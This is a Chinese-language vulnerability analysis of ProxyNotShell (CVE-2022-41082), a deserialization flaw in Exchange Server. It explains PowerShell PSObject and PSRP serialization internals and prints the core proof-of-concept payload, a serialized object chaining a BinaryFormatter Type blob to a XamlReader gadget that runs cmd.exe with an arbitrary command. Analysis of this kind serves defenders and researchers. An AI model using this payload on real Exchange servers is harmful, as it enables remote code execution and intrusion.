简介
ProxyNotShell 由CVE-2022–41040 和 CVE-2022–41082构成。CVE-2022–41040是SSRF,这个漏洞和ProxyShell的payload的基本相同,唯一的区别就是需要在HTTP Header里面添加认证信息。CVE-2022–41082是Exchange的Powershell后端的反序列化PSObject时的反序列化漏洞,本文主要介绍这个反序列化漏洞。
利用效果: 域环境提权
漏洞产品: Exchange Server
利用条件: 具有域内普通账户用户名密码
影响范围
- < Exchange 2013 CU23 Nov22SU
 
- < Exchange 2016 CU23 Nov22SU
 
- < Exchange 2016 CU22 Nov22SU
 
- < Exchange 2019 CU12 Nov22SU
 
- < Exchange 2019 CU11 Nov22SU
 
环境搭建
环境搭建比较坑,一开始在Exchange 2019补丁的前一版本进行复现,怎么都触发不了漏洞。后来发现应该是因为笔者在10月份之后更新的Exchange 2019,导致10月初的发布的Emergency Mitigation(EM)更新生效了,IIS会对powershell路径进行过滤。于是笔者尝试关掉EM,并在IIS中删除过滤规则,依然复现不了。之后尝试在Exchange 2016 CU12(一个较老的版本)上进行复现,这个版本没有EM,但是也复现不了。最后笔者下载了Exchange Server 2019 CU11的iso,安装后复现成功。
读者如果想搭建环境复现,需要2步:1.安装Windows Server 2019,并搭建好域控制器;2. 安装Exchange 2019 CU11。具体步骤本文不再赘述,读者可以Google参考其他博客的教程。
背景知识介绍
PSObject
PSObject 是 PowerShell 中的.NET对象、COM对象的代理,PowerShell 中的任何对象都使用 PSObject 进行包装。例如 Get-Process 返回的对象类型为 System.Diagnostics.Process。其实是 PSObject 对System.Diagnostics.Process的包装。
PSObject 是 ProxyNotShell 反序列化漏洞的基础,漏洞反序列分析会涉及非常多 PSObject 的东西。如果不了解PSObject,很难理解漏洞产生的原因。下面对 PSObject 的内部实现进行介绍。读者如果想了解更详细的内容,可以参考引用中的 about_Types.ps1xml
BaseObject返回的是被代理的.NET对象,例如上面Get-Process例子中返回的System.Diagnostics.Process就被存储在BaseObject中。ImmediateBaseObject返回的是“直接”的被代理对象,这是因为被代理的对象可能依然是PSObject,ImmediateBaseObject返回的就是这个直接被代理的PSObject对象,而BaseObject会一直回溯到最开始被代理的对象。
Base/Adapted/Extended Members
PSObject的成员有三种类型: Base、Adapted和Extended。
- Base对应的是
BaseObject原始的对象成员。 
- Adapted是PowerShell extended type system添加的成员。
 
- Extended是通过ps1xml指定或者Add-Member添加的成员。
 
member的类型
member根据所在的位置可以划分为Base、Adapted和Extended。
根据类型又可以划分为很多种,这里简单列举几个。
PSProperty 用来表示BaseObject的field或property。 
PSScriptProperty 在extended中,记录一段脚本 
PSCodeProperty 可以用来设置getter和setter。 
PSMethod 表示BaseObject中的方法 
PSMemberSet 表示在extended中的任何member的集合 
TypeNames
TypeNames代表BaseObject的类的类型。它是一个Collection<String>,保存BaseObject的继承关系。
PSMemberInfo
前面提到的所有的Member都会使用PSMemberInfo这个类进行表示。其中的Name表示这个属性的名字,Value表示属性的类。
PSStandardMember
PSStandardMembers是PSObject的特殊的Member。DefaultDisplayPropertySet用来表示在PowerShell中默认显示哪些属性。TargetTypeForDeserialization用来表示在反序列化中应该被反序列化成什么类型。
PSRP协议
当远程使用PowerShell进行连接时,所使用的协议就是PSRP协议。PSRP协议会在Client端和Server端之间传递Powershell类。通过网络传递类的方式就是把类进行序列化和反序列化。如上面所说,PowerShell中所有的.NET类都会由PSObject进行代理。因此PSRP会围绕PSObject进行序列化和反序列化。
.NET有一套序列化和反序列化的机制,例如 BinaryFormatter, XMLFormatter 等等。PSRP这里实现的序列化和反序列化机制和他们不同。详细的序列化和反序列化可以参考 MS-PSRP 协议文档2.2.5节。序列化/反序列化大致分为三类来介绍。
Primitive Type
Primitive Type包括String, Character, Boolean, Signed Int, Float等编程语言常见的类型。例如Signed Int的一个实例如下。
还包括GUID, URI, Version, XML Document等类型。例如URI的一个实例如下。
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   | <URI>http://www.microsoft.com/</URI>
   | 
 
Complex Object
Complex Object由<Obj>来表示,它里面可以包括5种类型的子实例。
- Type names(用
<TN>或<TNRef>表示) 
<ToString>方法 
- Primitive Types 的实例或 Known Container(如Stack、List、Queue)
 
- Adapted Properties (用
<Props>表示) 
- Extended Properties(用
<MS>表示)。 
Custom Converter
前面提到的两种序列化方式可以序列化大部分的 PSObject, 但是PowerShell也支持通过自定义的Converter来进行更复杂的序列化和反序列化。使用这个方式需要在types.ps1xml文件中添加 TargetTypeForDeserialization 属性,反序列化之后的类型。
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   | <Type>         <Name>Deserialized.System.Net.IPAddress</Name>         <Members>             <MemberSet>             <Name>PSStandardMembers</Name>             <Members>                 <NoteProperty>                     <Name>TargetTypeForDeserialization</Name>                     <Value>Microsoft.PowerShell.DeserializingTypeConverter</Value>                 </NoteProperty>             </Members>             </MemberSet>         </Members> </Type>
   | 
 
PowerShell自带了几种Converter,例如ConvertViaParseMethod通过调用目标类型的 Parse 方法,ConvertViaConstructor通过调用构造函数,ConvertViaCast通过cast。
在Exchange Server中,自定义了Microsoft.Exchange.Data.SerializationTypeConverter。这个Converter其实是对BinaryFormatter的包装,通过BinaryFormatter来进行序列化和反序列化。
PSRP对象反序列化过程
反序列化逻辑在InternalDeserializer类的ReadOneObject中实现,伪代码如下。
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   | object ReadOneObject(out string streamName) {     bool flag     object obj = this.ReadOneDeserializedObject(streamName, flag);     if(obj)     {         if(!flag)         {             Type targetTypeForDeserialization = obj.GetTargetTypeForDeserialization(this._typeTable);             if(targetTypeForDeserialization)             {                 object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization);                 return obj2;             }         }     } }
   | 
 
大体逻辑为:
- 通过
ReadOneDeserializedObject进行简单的反序列化 
- 如果不是primitive type,就尝试调用
ConvertTo转换成目标类型(targetTypeForDeserialization)的对象。 
ReadOneDeserializedObject
首先看一下ReadOneDeserializedObject的实现。
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   | object ReadOneDeserializedObject(out string streamName, out bool isKnownPrimitive) {     isKnownPrimitive = false;     if(this.IsNextElement("Nil"))     {         return null;     }     if(this.IsNextElement("Ref"))     {         .....     }     if(KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName))     {         isKnownPrimitive = true;         return this.ReadPrimaryKnownType();     }     if(this.IsNextElement("Obj"))     {         return this.ReadPSObject();     }
  }
   | 
 
逻辑为如果是Nil,返回null;如果为Ref,就返回引用的之前的对象;如果是Primitive类型,就返回Primitive类型;如果是Obj,就调用ReadPSObject方法返回对象。
下面来看一下ReadPSObject方法的实现。
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   | PSObject ReadPSObject() {     PSObject psobject = this.ReadAttributeAndCreatePSObject();     while(...iter util end...)     {         if(this.IsNextElement("TN") || this.IsNextElement("TNRef"))         {             this.ReadTypeNames();         }         else if(this.IsNextElement("Props"))         {             this.ReadProperties(psobject);         }         else if(this.IsNextElement("MS"))         {             this.ReadMemberSet(psobject);         }         else if(this.IsNextElement("ToString"))         {             ......         }         else         {             object obj = null;             TypeSerializationInfo tag = KnownTypes.GetTypeSerializationInfoFromItemTag(this._reader.LocalName);             if(tag)             {                 obj = this.ReadPrimaryKnownType(tag);             }             else if(this.IsKnownContainerTag(containertype))             {                 obj = this.ReadKnownContainer(containertype);             }             else if(this.IsNextElement("obj"))             {                 obj = this.ReadOneObject();             }                          if(obj)             {                 psobject.SetCoreOnDeserialization(obj);             }         }     }     return psobject; }
   | 
 
GetTargetTypeForDeserialization
下面看GetTargetTypeForDeserialization的实现。GetTargetTypeForDeserialization会尝试寻找PSStandardMember里面的TargetTypeForDeserialization属性。正如前面所说,TargetTypeForDeserialization用来表示反序列化的目标类型。
查找的第一步是寻找通过调用TypeTableGetMemberDelegate方法找到PSStandardMembser,这一步是根据this的类型和typeTable(从types.ps1xml加载)查找。
如果返回的结果不为null,就生成了一个新的类PSMemberInfoIntegratingCollection,构造函数的参数分别为刚才返回的结果,以及PSObject.GetMemberCollection返回的结果。然后通过[]运算符来查找TargetTypeForDeserialization属性。
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   | Type GetTargetTypeForDeserialization(TypeTable backupTypeTable) {     PSMemberInfo psstandardmember = this.GetPSStandardMember(backupTypeTable, "TargetTypeForDeserialization");     if(psstandardmember != null)     {         return psstandardmember.Value as Type;     }     return null; } PSMemberInfo GetPSStandardMember(TypeTable backupTypeTable, string memberName) {     PSMemberInfo psmemberInfo = null;     TypeTable typeTable = (backupTypeTable != null) ? backupTypeTable : this.GetTypeTable();     if (typeTable != null)     {         PSMemberSet psmemberSet = PSObject.TypeTableGetMemberDelegate<PSMemberSet>(this, typeTable, "PSStandardMembers");         if (psmemberSet != null)         {             psmemberSet.ReplicateInstance(this);             psmemberInfo = new PSMemberInfoIntegratingCollection<PSMemberInfo>(psmemberSet, PSObject.GetMemberCollection(PSMemberViewTypes.All, backupTypeTable))[memberName];         }     }     if (psmemberInfo == null)     {         psmemberInfo = (this.InstanceMembers["PSStandardMembers"] as PSMemberSet);     }     return psmemberInfo; }
   | 
 
下面看一下PSObject.GetMemberCollection和PSMemberInfoIntegratingCollection。由于代码太长,笔者这里不再贴出来,有兴趣的读者可以用dnspy查看反编译后的代码,下面简单介绍一下这俩部分的作用。PSObject.GetMemberCollection是一个静态方法,作用是返回一个函数委托的集合(collection)。集合中的函数包含了用于获取对象的adapted/extended属性。PSMemberInfoIntegratingCollection的作用的是把PSStandardMembers和函数委托的集合揉合在一块,方便查找。即后面的[]运算符会先在PSStandardMembers中查找,然后通过调用函数委托的形式查找。
因此这里就会留下一个问题,即可以通过extended或adapted属性自定义一个Type,让GetTargetTypeForDeserialization返回自定义的类型,进行反序列化。
LanguagePrimitives.ConvertTo
反序列化的第三步是调用LanguagePrimitives.ConvertTo方法把obj反序列化成对应的类。LanguagePrimitives.ConvertTo主要调用LanguagePrimitives.FigureConversion寻找convert的方法。其核心逻辑如下,分别通过反射来检查是否能够通过Parse、构造函数、Cast等方式来进行convert,以及自定义的converter。
漏洞分析
首先从poc看起,最核心的反序列化payload如下。这一段payload是序列化后的PSObject。可以看到最外层定义了一个Object。MS里又定义了一个Obj,类型为System.ServiceProcess.ServiceController。其中包含了一些props属性,属性中又包含一个对象,名字为TargetTypeForDeserialization。
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   | <Obj RefId="13">     <TN RefId="0">         <T>System.Management.Automation.PSCustomObject</T>         <T>System.Object</T>     </TN>     <MS>         <S N="N">-Identity:</S>                                  <Obj N="V" RefId="14">                                             [1]             <TN RefId="2">             <T>System.ServiceProcess.ServiceController</T>                 <T>System.Object</T>             </TN>             <ToString>System.ServiceProcess.ServiceController</ToString>
              <Props>                 <S N="Name">Type</S>                 <Obj N="TargetTypeForDeserialization">                     [2]                     <TN RefId="2">                         <T>System.Exception</T>                         <T>System.Object</T>                     </TN>                     <MS>                         <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>                     </MS>                 </Obj>             </Props>
              <S>                 <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCalch" ObjectType="{{x:Type Diag:Process}}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd.exe</System:String><System:String>/c {CMD}</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>]]>             </S>
          </Obj>     </MS> </Obj>
   | 
 
反序列化的过程是递归的,从高层往下一层层反序列化。首先在[1]反序列化的过程中,[2]会先被反序列化。下面看一下[2]被反序列化的过程,简称obj2。obj2的类型为System.Exception。在types.ps1xml中TargetTypeForDeserialization中属性为System.Exception,因此GetTargetTypeForDeserialization返回System.Exception类型。
System.Exception又定义了Converter为Microsoft.Exchange.Data.SerializationTypeConverter。因此会被其反序列化。这里的Payload为System.UnitySerializationHolder序列化之后的内容。Type被序列化之后就会成为System.UnitySerializationHolder。因为System.UnitySerializationHolder又在Exchange Server的BinaryFormatter的白名单里,所以可以被反序列化。这样obj2反序列化之后是类型为Type的类。
这里被序列化之后的Type是XamlReader,了解dotnet反序列化的读者应该对这个很熟悉。
然后是在[1]处进行反序列化,简称obj1。在反序列化过程中由于ServiceController在types.ps1xml中没有定义TargetTypeForDeserialization属性。根据前面的介绍,反序列化会从obj中寻找TargetTypeForDeserialization属性,这时就会返回XamlReader。下一步在ConvertTo中,通过反射会找到XamlReader的Parse方法,然后就会调用Parse方法进行反序列化。Parse的参数可以控制,因此可以写入执行任意命令的反序列化payload。
攻击效果
运行Exp之后效果如下,可以以w3wp.exe执行的权限执行任意命令。
引用